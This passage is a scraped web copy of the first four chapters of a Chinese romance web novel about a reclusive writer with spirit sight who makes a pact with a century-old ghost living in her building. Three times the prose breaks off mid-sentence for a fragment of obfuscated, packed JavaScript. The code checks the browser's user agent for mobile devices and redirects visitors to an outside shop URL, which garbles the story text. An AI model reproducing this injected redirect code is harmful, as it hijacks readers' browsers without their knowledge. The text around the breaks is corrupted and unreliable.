《鬼100岁的时候》 1. 100岁 农历七月,阳光铺天盖地却遮不住不断滋生的黑暗的一个月份。 诡异的感觉从喻声码单主要求的吸血鬼设定的小短篇开始就没停下来过。 先是冷风袭来,燃着的线香灭了大半;再是手臂上白雾缠绕,白雾所到之处均掀起一片细小的颤栗—— 都是些不伤人的小动作,摆明是为了吓唬她。 可此刻对于喻声来说,悬在眼前的ddl更吓人,于是她没管,强装冷静,用更急促的敲键盘声来压住因稍微分心而有点躁动的心跳。 但来者完全不懂点到为止的道理,愈发地得寸进尺,等到喻声码到“吸血鬼男主有严重的口欲期”这句话时,她的左肩突然一重,脖子被冰凉的异物贴上,随之而来的嘶嘶声音猛烈攻击耳膜。 忍无可忍。 喻声停止敲击键盘,右手不动声色地伸向胸前的佛牌,低声紧急念了一段驱鬼的咒语。 “能不能别念了。” 和引起喻声耳鸣的恶劣的嘶嘶声不同的是,此时凭空响起的声音意外地带着少年气,脆生生的,一字一顿的,“既对我没用,又打扰我看文了。” 到底是谁打扰谁? 喻声深吸了一口气:“……不是因为你是鬼就可以为所欲为的。” 她揉揉眉间,冷静了两秒,干脆利落地把电脑合上,做出了最大的让步:“你能不能安安静静地看,别再让我发现你在这里了。” 喻声话音刚落,那团缠着她手臂的白雾就逐渐褪去,变得透明,在明明暗暗的灯光下隐约显出人形—— 剪裁考究的西装,随着起身的动作胸前挂着的金属链子晃啊晃,黑色皮鞋在地板上点了两下叩叩作响,虽看不太清脸,但仍能想象他在听到喻声的话时脸上浮现的顽劣的笑容,混不吝的话随之吐露出来。 “谁让你爱写这种西方玩意的。” 喻声社恐,因此大学毕业后她毅然而然地选择居家工作,在网上接文稿赚取生存费用,和单主的沟通隔着屏幕,在舒适圈范围内;再加上她体质特殊,没什么朋友,除了偶尔和作为神婆的奶奶,也就是王春华女士打打电话,汇报一下最近还有没有看见不干净的东西外已经很久没有开口说过话了,完全没想到有一天沟通的对象会变成鬼。 果然一个人太久不说话是会出事的。 喻声平心静气,拿出面对甲方的态度,试图传授给这个一看活着的时候就不差钱的大少爷一个普通人生存的道理:“我更文的设定是单主要求的,她给钱,我无权拒绝。” “无权拒绝?”大少爷嚼着这几个字,贴着喻声的耳朵冷笑,阴森森地,“那昨天把我爱看的给拒了是几个意思?” 连续几个晚上被小鬼折磨得睡不着觉,好不容易提起点精神气码字还被贴脸攻击,喻声此时觉得自己比他还阴森,她没有动,只握紧了佛牌,学着他冷笑,发起了一场尖锐的对峙:“你当鬼都一百年了,还不懂是什么意思吗?” 一百年这么准确的时间跨度,不是喻声胡乱猜测的,是刚住进来的当天,被迫围观了一场鬼的内斗大戏时听到的。 一枚硬币有正反两面,房子也有,正面刻着阴气重,是凶宅,相对应翻过来的那面就写着租金便宜,是收入不够稳定的喻声当下最好的选择。 反正无所谓,不管阴气重不重,她这双眼睛都能额外框住另一个维度的东西。 入住当晚,鬼压床把安眠药的作用轻巧地折了个半,喻声没睡着,却意识涣散,全身僵硬,难以动弹,挣扎间血液涌动压迫心脏,她紧咬舌尖,强迫自己清醒。 片刻后,仿佛大梦初醒,喻声身上的压力减轻,脑海中那根紧绷着的弦终于得以放松下来,还以为是念的佛咒起了作用,却捕捉到了旁边的声音。 懒洋洋的,带着点蛊惑人心的魔力,格外清晰,一个字一个字如玻璃珠不偏不倚地弹跳进喻声的耳朵里。 “我当鬼都一百年了,还从来没见过有小鬼敢在我的地盘上这么放肆的。” 好吧,说内斗也不太适合,纯粹是大少爷的单方面碾压。 自此之后,他像是途经百年重新找到了什么乐趣一般,常在喻声的房间停留,最爱做的事就是趴在电脑前,等着喻声龟速般地码字,每每太阳换了位置才看完一篇,再心满意足地飘回楼上。 他的自在,换来的是喻声的不自在。 人鬼殊途倒是其次,最重要的是他总在喻声写到他喜欢的题材不喜欢的情节时搞些恶作剧,让喻声的交稿进度一再拖延。 这么被打扰下去也不是办法,喻声无可奈何,唯一能做的,就是默默地把接单主页上的个人简介内容从“擅长民国爱情、现代架空等”改成“擅长西幻爱情”,文稿展示也全部更换,力争多接点他这种百年前的老古董不爱看的单,来减少共处一室的机会。 第一次果然奏效,大少爷一来,瞥了两眼发现不感兴趣就走,但次数一多,还当着他的面委婉地拒绝了一篇民国背景设定的文,是人是鬼都得回味出点不对劲来了,于是就发生了刚刚那一幕。 胶着间,喻声没有防备,腰部被狠狠擎住,五脏六腑被挤压成一团,她踉跄了两步,后背没有缓冲地猛烈撞向书架,五脏六腑又被冲撞开,像板块运动,从喉间逸出的血腥味是板块挤压碰撞的新产物,那句“能不能动口不动手”覆在血腥味上划破喉咙,被紧紧咬着的牙齿拦住没能说得出来—— 喻声后知后觉发现了不对劲。 她一开始还以为是大少爷自知理亏不同她争辩改成上手,目光所及却发现他还好整以暇地待在原地,喻声艰难地低头一看,腰间张牙舞爪的分明是一团黑雾,和他的透明身形产生了鲜明的对比。 一枚硬币有正反两面,命运却没有,越是苦难的人越容易再次接触苦难,伴随着天生阴阳眼而来的,是喻声的身体对鬼魂来说有着致命的吸引力。 从喻声开始记事算起,有数不清的差点失去身体掌控权的时刻,这些时刻拼拼凑凑构成一部电影,电影没有起承转合,全是高潮,在她的脑海中没日没夜地倒带循环播放。 她是电影的主角,是唯一的受害者。 是无法被拯救的受害者。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16373064|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一如现在。 在尝试一系列对付鬼魂的办法都失效后,喻声认命般地闭了闭眼,在黑暗中平静地等待这部电影的落幕。 可意料之外地,黑暗被暂时夺走,有一道白光晃过,亮度足以刺过眼皮被眼睛接收,等到重归黑暗时,腰间的蛮力已经被卸下,五脏六腑随着呼吸恢复回归原位,喻声犹豫了一下,还是半睁开了眼。 意料之中地安全了。 喻声眨眼缓冲。 熟悉的透明身形立在散落一地的书边,他的透明度降低了些,在此刻,喻声终于成功地看清了他的脸,看清了他嘴角上扬,笑起来时脸颊两侧浮现的小括弧很柔软,把阴冷感锐减了好几分。 明明是老古董一个,却念着喻声刚赋予吸血鬼男主的、狗血肥皂剧的台词,强势介入,成为了电影的新主演。 “就说没我不行吧。” 短短的一句话化作利剑,硬生生地把硬币从中间剖开,于是除开正反两面后,出现了第三面。 - 把房间收拾干净,再熟练地从药箱里掏出气雾剂给伤口上完药后,喻声也歇了继续码字的心思,她一步一缓,慢吞吞地往厨房走,准备吃点什么来充当大脑转动的润滑剂,理一理刚才因过度惊慌而乱成一团麻的思绪。 躺在冰箱最中央的、昨天剩的半块披萨比起其他仍需要加工的原材料更快进入喻声的视野,派上了用场。 喻声刚搬来这里,还没来得及去跟厨房设备上飘落的灰告别,冷掉的披萨没有立即升温的可能,好在她对食物的要求不高,将就着倚在冰箱门前就开始咬。 嚼进去的是干巴巴的香肠粒和披萨皮,吐露出来的是自我介绍,作为延续刚刚被迫打断的话题的粘合剂。 “我叫喻声,比喻的喻,声音的声。” 隔着厨房半开的推拉门,有一小块黑暗被悄无声息地占领。 喻声的动作没有因来人而停顿下来,她三两下就把半块披萨解决,抽了张纸巾擦嘴后就垂眼侧过身去开水打泡冲洗留有碎屑的盘子,在此期间没有得到任何回应,等到她清洗完毕后才重新听到声音。 “江时。” “江河的江,时间的时。” 没被披萨理清的思绪被相似句式的自我介绍理清,喻声把盘子甩干放置一旁,转过身问他:“要谈谈吗?” 江时听到话后没动,顿在厨房门口,身形依旧近似透明,喻声的目光透过他,直直地降落在没有一丝亮光的客厅上,突然害怕会听到他说不行。 如果他说不行的话。 如果他说不行的话—— 喻声往后坠,重新陷入一个永久的噩梦里,被那些带着恶意的鬼魂勒住心脏,再也醒不过来。 喻声猛地惊醒,从床上撑坐起来,扭头看向窗外才发觉外面大亮,已经是新的一天。 农历七月,阳光铺天盖地,比刚出炉的面包还要温热柔软,暂时能遮住黑暗的一个月份。 她听到了。 他说—— “行。” “谈谈。” 2. 100岁 和鬼谈判不是件容易的事。 更何况对面还是个狮子大开口的鬼。 喻声起了个大早,先把厨房遗留的灰清扫干净,再把寄过来后还没拆封的纸箱里的瓶瓶罐罐拎出来,从低到高在架子上堆成多米诺骨牌,收拾到最后好心情地掏出新的煎锅煎了个蛋,左手撑着台面右手举着锅铲就地把煎蛋塞进嘴巴里。 等她的晨间工作陆续收尾后,在旁边靠着冰箱双手抱胸的江时才堪堪把要求提完。 “等一下。”喻声紧急打断他,问,“买菜为什么还得买你的份?” “我也想吃。” 特别理所当然的话。 “……”喻声把用完的煎锅放进洗碗池中,“鬼也能吃东西?” “香火供养的话可以,楼上有香案。” 香火供养,慰藉亡灵,喻声在很小的时候听春华女士提过。 据说灵体会吸收上供的食物能量,因此上香过后,食物虽然还在,但味道会变淡,甚至无味。 本来想到食物还在的喻声立马脱口而出“那买一份就够了,你先吃完我再吃”,下一秒又想到味道会消失,吃东西形同嚼蜡,喻声又马上觉得虽然她对食物的要求不高,但不至于这么严苛对待自己,最后还是把话咽了回去,说了句“行,买两份就买两份”。 “把简介和文稿展示换回来、没接到你喜欢的文隔几天就写一篇给你看、准备你的饭、客厅腾给你住——”喻声总结了一下,“包吃包住包精神需求,就换来一个你抬抬手就能做的事,我是不是有点太亏了?” “觉得亏啊。” 江时笑了下,嘴角的小括弧里藏着刀,他终于舍得离开一直挨着的冰箱门,隐隐有往外挪的趋势,“门口堵着的那些,要不要我帮你喊进来?” 他这么一动身,冷风穿堂,多米诺骨牌没有骨气地倒下。 相处时间虽然不长,但喻声对于江时多少还是了解一点。 他惯会仗着本事威胁人,恶作剧接连不断,但真论起来伤天害理的事倒真没做过,否则他现在就该发挥鬼的专长,动动手指把那些小鬼放进来,而不是嘴上不依不饶,却还是好好地定在原地,等着她的回答。 她昨晚的判断错误。 沟通的对象变成了鬼,还不错。 喻声想。 “谢谢啊。”于是她眉眼一弯,“你还挺仗义的,要求还没谈妥就已经在帮我拦下它们了。” “……” 江时本来在等着喻声出招,在他的预想中,招数应该是方方正正的,有棱有角的,直愣愣地砸过来好让他接住后变本加厉报复回去。 但不是。 面前的人,眼睛里盈盈漾着光,抛过来的话轻轻,轻轻,比刚引起他提出“要准备他的饭”这个要求的那颗煎蛋还要圆润、软和。 他对煎蛋尚且无法抵抗,更何况是赤裸裸的夸奖。 江时面不改色,偏过头去盯着倒下的多米诺骨牌,半晌后,目光才晃晃悠悠落到鞋尖,落到地面:“算了,不用多写给我了,你写什么我就看什么吧。” 喻声从江时迟疑不说话开始就在盯着他看。 她觉得自己要比他更迟疑才对。 她都不太明白她是不是说了什么不该说的话,否则这个哪哪都苍白的鬼偏头时朝向她的那只耳朵上怎么会突然蹿起红色的火苗呢? 但并不重要。 “写给你不难。”不管是不是说错话了,他肯做出让步是好事,喻声踌躇了一会儿,还是想顺着杆子往上爬一下,“但你能不能少提点意见,有时候思路被你打断了之后整篇文都得推翻重来。” “行。” “吃饭跟着我的时间来?我工作的时候走不开,没空上楼帮你上香。” “……行。” “那——” “……你别太过分了。” 喻声话还没说完,就被江时打断:“我可没有那么好说话。” 喻声笑,把煎锅从洗碗池里捡回来,稍微举高了下看了眼锅底,有点沾到水,她抽了张纸巾把水擦干净后才把刚没说完的话继续往下说:“我是问,现在到我吃饭时间了,你吃不吃煎蛋?刚好煎锅还没洗。” 江时表情不自然地把一边倒的瓶瓶罐罐扶了起来。 “……吃。” - 江时盘腿坐在香案前的蒲团上吃饭的时候,喻声正在参观他住的这片废墟。 这栋公寓一共六层,喻声住五楼,江时住六楼。和往下五层不同的是,六楼并未被精装修覆盖,左右两间房打通,楼道间连灯都没有,灰扑扑一片,窗户紧闭把室内室外的空气切割开来,越往深走,鼻腔充斥的粉尘焦气味就越来越浓,除了正中间摆着的香案,眼神找不到其他可以聚焦的地方。 怪不得当初她问最上一层有没有空房出租,房屋中介支支吾吾,最后说了句没有,如果住进来了也别往顶楼去。 虽然不知道房屋中介具体遭遇了什么,但能从他那张提起顶楼就开始变得皱皱巴巴的脸想象出来,严重程度绝不亚于买了十年彩票一张未中。 房产中介没中的彩票,倒让她中了。 喻声垂目看向江时。 香案前有一对蒲团,喻声这么一低眼,就瞥到了另一只没被江时坐住的蒲团下压着东西。 好奇心一上来挡都挡不住,喻声屈腿蹲在蒲团边,指了指东西露出来的一角问江时:“这是什么?” 江时从煎蛋堆里抬起头来,没犹豫地伸脚把蒲团挑开,声音含糊:“你自己看。” 蒲团轻易地翻了个身,东西还好好地待在原地,喻声伸手拨弄,是一张照片。 照片边缘处发黄发蔫,表面比房屋中介的脸还要更加皱皱巴巴。喻声认得出来,弄堂背景下,左边的这个漂亮小男孩儿,是江时。 除了比现在的他要稚气很多,脸颊肉要膨起来很多,其余倒没有什么变化。 右边的,是一位夫人。 无神的眼,泪痕未干模糊在脸上,衣服很素,紧紧裹在身上,脚边还放着一只看不清颜色的皮包。 明明有汹涌波涛、无以复加的悲伤,却被照片的黑白色吃掉了。 喻声看得出神,不知不觉屈腿久了,头晕目眩,胸有点发闷,她双手撑地闭眼缓了一会,才重新站了起来。 她没问,反而是江时有点忍不住:“看这么久,没什么想说的吗?” 喻声观察着江时的神色,发现他只是单纯的询问不带别的抵触情绪,才反问回去:“这个小男孩是你吗?” “右边的女人是我母亲。” 喻声眨眨眼,重新蹲下来和江时平视。 他倒是知道其实她最想问的是什么。 喻声噢了一声,没说其他话,江时的眉心簇起,客气的话不客气的语气:“你能不能找个地方坐,我怕你等会晕过去了,再神通广大的鬼也做不到把你带回去。” 话毕,他把手中的盘子放下,俯身把蒲团往喻声身侧推了推。 喻声说了声谢谢,学着江时盘腿坐在蒲团上,锤着有点发酸的腿,示意他可以继续往下说。 “这张照片,是她把我推向父亲的前一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16373065|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天拍的,从这天过后,我再没见过她。”江时把腿伸直交叉,双手往后撑地支着身体,歪头,直直望向喻声,不知在想什么,片刻后才笑出声,“真是奇怪,怎么会跟你说这些。” “真是奇怪,怎么会跟你说这些,反正你也不会懂。” 高敏抬起疲倦的双眼,发了很多次脾气后难得平静地和喻声说话,“喻声,妈妈很累了,你以后不要再来找我。” 第一次听到这句话的时候,喻声十五岁。 喻声印象中的高敏总是歇斯底里的,眉毛高高吊起,说着那些翻来覆去的我恨你你怎么不去死的话,却在那天第一次给喻声买了草莓蛋糕,往下坠的果酱鲜红,白色奶油承受不住也跟着一起往下流淌。和蛋糕一起递来的是她的出国签证材料,最后她叹息,说你放过妈妈吧。 放过妈妈吧,轻轻巧巧五个字,轻轻巧巧说出来。 说不清楚是谁有过错,命运牵出红线,不管不顾地把没有缘分的两个人紧紧绑在一起,于是有些事情喻声从很早就知道无法避免会出现,只是没想到会来得这么快,快到她稀里糊涂地在丢了爸后又丢了妈中独自长大。 喻声真的长大了,再次听到这句话的时候,她已经二十三岁。 喻声低头,八年光阴在心头绕了一圈,才轻声问:“过得好吗?” “什么?” “应该没法过得很好吧。”喻声又说,“……离开了母亲之后。” “你看我变成现在这个样子——” 江时又歪头,露出左边苍白的脖颈,刹那间大团黑从衣领处翻涌上来,如星火燎原,把他的半张脸都隐了去,只留了双眼睛,冰冷、锐利。 他只是静静坐在那,竟比恶作剧时还要更可怖。 “——怎么会过得好。” 春华女士说,鬼魂逗留在人间,多半是因为执念过深,遗憾过重,黑白无常勾不走。 江时现在看起来年岁不大,和照片里相差最多十岁,算算活着的年纪,也才二十左右。 肯定过得不好吧。 喻声顿了一下。 不然怎么会在这么小的年纪,就有这么深的执念,让他过了漫长的一百年仍不肯入轮回。 喻声笨拙,说不出安慰的话,只知道如果自己做不到让他恢复照片里的稚气,恢复照片里的脸颊肉也好,所以她也不管鬼吃东西到底能不能进到胃里帮助长肉,就先问出口:“要吃点别的吗,心情不好的时候吃点东西会开心一点。” 那团黑在江时脸上滞住了,最后慢慢褪去,恢复了他原先有点透明的身形。 江时瞅了眼旁边的盘子,胸前的金属链子一晃一晃:“还是你做吗?” 喻声想了想:“速食,你吃吗?楼下就有家便利店,我下楼买。” 她怕江时听不懂,又解释:“这个世界发展很快,有很多提前加工好的东西,不用花时间去做很快就能吃上。” “我知道,在这里住久了,有看到其他租客吃过。”江时说,“这么快做好的,应该不太好吃吧?” 喻声也不太确定对江时来说算不算得上好吃,但她觉得能连续吃十个煎蛋都不觉得腻的人口味应该是很朴实且包容性强的,于是她说:“我挺喜欢的,你可以试试。” 江时点头,犹豫片刻。 “那吃速食的话,能再加个煎蛋吗?” 喻声:“……” 他不会只是单纯喜欢吃煎蛋吧。 “加两个也行。” 喻声起身,把蒲团归回原位,准备下楼。 “你喜欢就行。” 3. 100岁 一离开六楼才察觉到降低亮度的天。 虽然现在已经是盛夏,但东宜近海,傍晚的风每次都来得很不讲道理,稍微不注意就喜提感冒。喻声先回了趟家,拿了件外套穿上,拿了个口罩戴好,才慢悠悠往楼下走。 江时理所当然地没跟来。 喻声走的时候他还待在六楼,静静地看那张再也没被东西遮住的老照片,整个身影沉闷地被房间的灰尘裹挟着。 江时和她不同,喻声敏锐地察觉到。 他对母亲的情感更像是特爆酸糖,恨来势汹汹,但只有薄薄一层,虚张声势地裹在一整颗怀念的甜外面。而自己怀念不能表现,恨也不能达标,所有扭捏藏在撬也撬不开的蚌壳里面。 怀念和恨一旦被看见,会伤害到其他留在她身边的人。 喻声开始有点想春华女士了。 她边走,边拨了个电话过去。 一秒,两秒,接通。 一边耳朵是嘈杂的车辆鸣笛声,一边耳朵是让人眼睛模糊的亲切的关心。 “我们生生,怎么在这个时候给奶奶打电话?吃饭了吗?最近身体怎么样?” “想我们春华女士了。”口罩里传出来的声音闷闷,“想吃蒸鱼了。” “那就回来,奶奶天天给你蒸鱼吃。”王春华说,“反正你也算是居家工作,要不还是回来吧,住到奶奶这里,那些脏东西不敢近你的身。” “天天吃蒸鱼,岂不是以后看到蒸鱼就害怕?” “那你天天吃泡面,怎么没看到泡面就害怕?” 喻声拿起泡面桶看日期的手就是一顿,而后若无其事把藤椒味的放回换了桶牛肉味的看:“乱讲,我哪有天天吃泡面?” “真的没有?” “真的没有。” “生生啊。” 听筒那边有煲汤时咕嘟咕嘟的冒泡声。 喻声吸了吸鼻子。 “你买的那箱藤椒泡面忘记改地址,寄回家里来了。” 喻声:“……奶奶你变腹黑了噢。” “要拿捏你还不容易?” 王春华笑得开心。 笑过后,也更加忧心忡忡,王春华把举起的汤勺又撂下,走出厨房叮嘱喻声:“现在七月,你自己要多加小心,搞不定了就给奶奶打电话。” 喻声犹豫片刻,话到嘴边,还是决定江时的事先不说为好。 江时再好,也是鬼。 她有需要留在东宜的理由,所以暂时不能回家,不能让春华女士隔着几千里远还在替她担心。 喻声伸手把看过日期的藤椒味和牛肉味的泡面扔进了购物篮里,说了声知道了。 最后也没唠两句,电话以王春华急匆匆去管理快要沸出来的汤,丢下一句少吃点泡面结束。 其实不用春华女士提醒,喻声也不常吃泡面。那箱藤椒味的泡面买来是为了应对不时之需,例如昨晚那种,不想出门,但整个冰箱只有披萨暂时能吃的情况。 比起泡面,她爱吃的速食,还得是代餐酸奶和这家超市的特供三明治,三明治夸张的内陷和便宜的房租成为了喻声在这里继续住下去的唯二理由。 但事有例外。 比如。 这家超市的收银员小姐,在扫描商品时很疑惑地诶了一声。 “今天不买酸奶和三明治吗?三明治快卖完了,我还给你留了最后一个。” 这种被陌生人记住的感觉让喻声有点无所适从。 收银员小姐的话传到了她耳朵里宛如晴天霹雳,硬生生地把口罩劈成了两半,对于喻声这种极度社恐来说已经和裸奔没什么区别,惊得她马上把便宜的房租列为在这里继续住下去的唯一理由,只是可惜了还没吃腻的三明治。 晴天真的霹雳了,外面开始下起了毛毛雨,玻璃窗上的色块糊成一片,便利店的门敞开半边,有只茸茸小狗哗啦啦蹦进来躲雨,拖了湿答答的一路。 小狗尾巴甩啊甩,收银员小姐的手跟着在喻声面前晃啊晃。 喻声收回视线。 她表面不显,自然扭头后伸手把鼻子处的口罩横条捏紧往上抬,假装把头发塞到耳后实则摸了摸还牢固待着的耳带绳才放下心来。 “那帮我加上吧,再帮我拿把伞,谢谢。” 随着食物袋子和伞一起递过来的,是一根棒棒糖,收银员小姐笑得开心,眉眼往上挑:“这是礼物,谢谢你这么捧场我们超市的三明治。” 喻声呆了一瞬,不好意思地再次说了声谢谢。 不管对于物品本身喜不喜欢,收到礼物、吃到甜的,心情总会变好一些。 喻声突然想到了什么,伸手指了指刚放在三明治旁的切块小蛋糕:“能帮我再拿一块蛋糕吗?” 喻声在问,对面的收银员小姐也在问,两道声音叠加在一起,一高一低,一道兴奋一道柔和。 “您是住旁边这栋公寓吗?能跟您打听一下公寓的具体情况吗?” - 雨伞太小,东西太多,喻声到公寓楼下时和那只冲进门躲雨的小狗已经没什么区别。 雨滴顺着手臂和塑料袋的提手往下滑,喻声把伞往旁边甩了下,抵着墙收了起来,这才能腾出手把往下滑的水稍微擦干,避免袋子里的东西被水浸湿。 楼道里很冷清,只剩喻声走路的踏踏声。 大抵是天气恶劣,人不愿出门,鬼也没那闲心思出来吓人,一路从底走到五楼都很太平,喻声小幅度松了口气,把口罩扯了下来,正想往兜里摸钥匙,屋门却自己打开。 有谁在不言而喻。 喻声把伞丢在门口,推门进屋。 果然是江时。 他不知道是什么时候从六楼下来,此时正坐在客厅的地板上,靠着后面的沙发,一腿放平,一腿屈着,腿撑着手胡乱按着电视遥控器,听到开门声也没回头。 “好慢。” 语气闲散自得,完全没把自己当客人。 喻声把湿了的鞋脱了换成拖鞋,开了个灯:“你还会看电视呢。” 江时倒是很坦率:“不太会,但也不难。” 他边漫不经心地回答着,边换了个频道看。电视界面弹出广告,哪个键都点不掉,江时嘶了一声,丢开遥控器,转头看喻声,随即眉头皱起,手撑着沙发站起身。 “为什么淋成这样?” “雨太大了,临时买的伞又太小。”喻声扬了扬手中的袋子,“没事,我等会回来再洗个澡就好了,先上楼吧,解决你的吃饭问题。” 江时看起来很烦躁,眉间久久未抚平,他敛下眼:“先去洗澡,我不趁人之危。” 喻声眨眼,迟疑:“……啊?” 趁人之危不是这么用的吧。 “我是说,我现在暂时不想吃饭了。” 外面的雨渐渐歇了下来,电视广告也不知何时停了,整个空间只剩江时的声音,恍恍惚惚,仿佛时间流转,退回他帮喻声驱赶小鬼的那个晚上。 “在你洗完澡之前都不想吃了。” “我——” “快去。” 喻声是个记忆力不太好的人,很难说是不是因为记忆力不太好,所以能记得的关心也不多。 在这其中,春华女士占据大部分,因心脏病去世的父亲喻之樾也有一点,高敏的则记不太清了,草莓蛋糕算一次,却没有比她的出国签证材料来得深刻。 因为记忆里仅存的关心不多,所以再次来临时才会显得格外特别。 更特别的是,这份关心来自一只鬼,一只本游存于她世界之外的鬼,一只做事情随心所欲的鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16373066|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一只比起关心她显然更在意袋子里的食物的鬼。 这只鬼,明明眼神止不住地往她手中的袋子里的食物上瞟,嘴里却还是坚持说着让她去洗澡—— 哪怕他已经发挥鬼的特权,把她身上多余的雨水清理掉了,仍尊重她作为人时需要通过热水澡来恢复温暖的习惯。 雨水褪去,取而代之的是从头顶的花洒中倾泻下来的热水。 喻声闭眼,任凭头发受水的冲击贴着脸。 水蒸气糊了眼睛,等到喻声再次睁眼的时候,煮水壶的温度显示已经跳到了100。她一手掀开泡面盖,一手举起煮水壶往泡面桶里加水。 泡面是藤椒味的,是此时在客厅聚精会神地看着电视的江时自己选的,选的时候他也没多犹豫,只撂下一句不喜欢红色,就把牛肉味的留在了袋子里。 泡面、煎蛋和小蛋糕,喻声把所有食物准备完毕整齐地摆在盘子上后,才出了厨房喊江时。 江时也自觉,应了一句,就从地板起身,端起盘子,跟着喻声后面慢吞上了六楼。 这栋公寓是一层两户,喻声对面还没有租客,六楼又被江时占据,所以往上走不可能遇到人,喻声才放心让江时端着盘子。否则让其他住户看到盘子跟在她身后飞,怕是会立马吓晕过去。 熟悉的上香步骤,唯一不同的是江时没选择跟上次一样坐在蒲团上吃饭,而是继续端着盘子,跟在喻声后面想下楼。 喻声扭头看他,不解:“怎么了吗?” 江时咳了一声:“电影,我还没看完呢。” 终于又多了一点他和其他鬼不太一样的实感,喻声偷笑,到底没阻止他往下走的步伐。 等回到了家,喻声没再管江时,立马把三明治丢进了早上刚清理干净的微波炉,叮的一声响后取出来迫不及待地咬了口。 嗯。 再没食欲的人也抵挡不了热乎乎的这一口。 真的暂时不搬家了。 喻声满意地下了论断。 她倒了杯水,捧着三明治,往客厅走,等坐到了沙发上,才有空看了眼到底是什么电影这么吸引江时。 “救命——” “该死,这个鬼地方怎么出不去!” 屏幕里,女主撕心裂肺喊着台词,拼命逃离地下室,后面还跟着流着血泪往前狰狞着爬的恶鬼。 喻声:“……” 她瞥了眼依旧坐在地上,吃着蛋糕幸福地眯起了眼的江时,忍不住问:“鬼也会喜欢看鬼片吗?” “不是喜欢。”江时吃了口蛋糕,“我在观看记录里面随便找的。” 他侧身看喻声,又扭头看电影,说:“我没理解错的话,观看记录,是你看过的意思吧?你不是怕鬼吗?还看鬼片?” 喻声:“……” 经他这一提醒,这下真的全都想起来了。 这部鬼片剧情诡异,火爆程度也诡异,衍生产品一大堆,之所以会在喻声的观看记录里,是因为有个单主想让她以这部电影为背景,写篇同人文。 而喻声只打开看了五分钟,就回房间登上账号,跟单主道歉,说明了自己不敢看的情况,取消了这一单。 此时江时观看的进度条已过半,怪不得喻声对这一幕完全没有印象。 面对江时的询问,喻声选择了嘴硬:“我不怕鬼啊,我怕鬼怎么会看鬼片?” 江时吸完最后一口方便面,把遥控器按了一圈,才找到暂停键。电影定格后,他手撑在沙发上支着头,看向喻声,语气中带着好奇,认真地问。 “你脖子上戴的佛牌和手腕处缠的佛珠都是为了好看才用的吗?” 喻声抢回遥控器,按了关闭,冷笑。 “是为了不遇到讨厌鬼才用的。” 江时默了一瞬:“……” 4. 100岁 仅用了一个晚上,喻声就学会了一个道理—— 毕竟是人,不是鬼,总会有力所不能及的事,做不到的事就不要硬做,要学会放过自己。 虽然昨天晚上恼羞成怒时她已经把电视关掉了,可最后还是被江时一副“我懂的你果然不敢看吧我谅解”的表情成功激到,眯着眼头脑放空把电影囫囵看完了。 “现代人好有意思。”电影落幕后,江时说。 “什么?” “明明怕鬼,还拍鬼片,真会想办法折磨自己。” “也不算折磨吧。”喻声撑着最后一口气,扯出点干巴巴的笑缓和气氛,“刚才那部电影也不怎么吓人啊。” 江时挑了挑眉,含着笑意拉长声音说了句这样啊。 喻声近乎本能地察觉到他的表情不对劲,还想再说点什么,可到底没等她说出口,下一秒,对面的江时面目开始扭曲,血泪开始流下,刹那间狰狞地俯身贴近她,阴森森地顺着她的手臂往上攀,竟和电影里的恶鬼没两样。 喻声:“……!” 果然! 能别老是做这种她意料之中却还是会被吓到的事吗! 好在江时这副样子也没持续多久,在他凑近发现喻声手中的杯子抖动得厉害的时候,就已经慢慢恢复原样。 比起喻声,恶作剧的江时反而更先叹气,他伸手,把杯子接过来放到茶几上,颇有点恶人先告状的意味。 “你这个体质,怎么能做到这么毫无防备的?” 喻声还有点惊魂未定:“你这种突如其来的,怎么防备?” 江时又叹了口气,看样子有被为难到。 “那你现在防备一下。” 喻声警惕:“你要干什么?” 很快喻声就知道江时要做什么了。 她一晃神,面前的江时竟冷不丁变成了刚才电影里的男主角。 男主角在电影里的戏份不多,相当于女主角的腿部挂件,但他一出场,电影就会暂时跳脱出恐怖的氛围外,陷入甜蜜的恋爱中。 因此到了他的戏份,喻声才敢稍微放下心看。 不仅放下心看,还记得很牢固,准备当下一次训练文笔的素材。 还有个很重要的原因。 这个男主角的演员,真的有点美貌,在电影里一众凶神恶煞的男配角中,显得格外的温和明亮。 喻声眨眼,伸手捏了捏“男主角”的脸颊。 触感挺好,软乎乎的、冷冰冰的。 ——想变成什么样就能变成什么样,做鬼是真的有点酷的。 喻声想。 想到这里,她不由得笑出了声,又趁机捏了两下。 刚才一点不愉快烟消云散。 江时:“……” “不生气了吧。”他屈着一条腿跪在沙发上,把搭在喻声腿上的毯子往上拎,罩住她脑袋,把黑暗的世界隔绝,“回去睡觉。” 说是回去睡觉,怎么睡得着? 逞强看电影的后果很快显现。 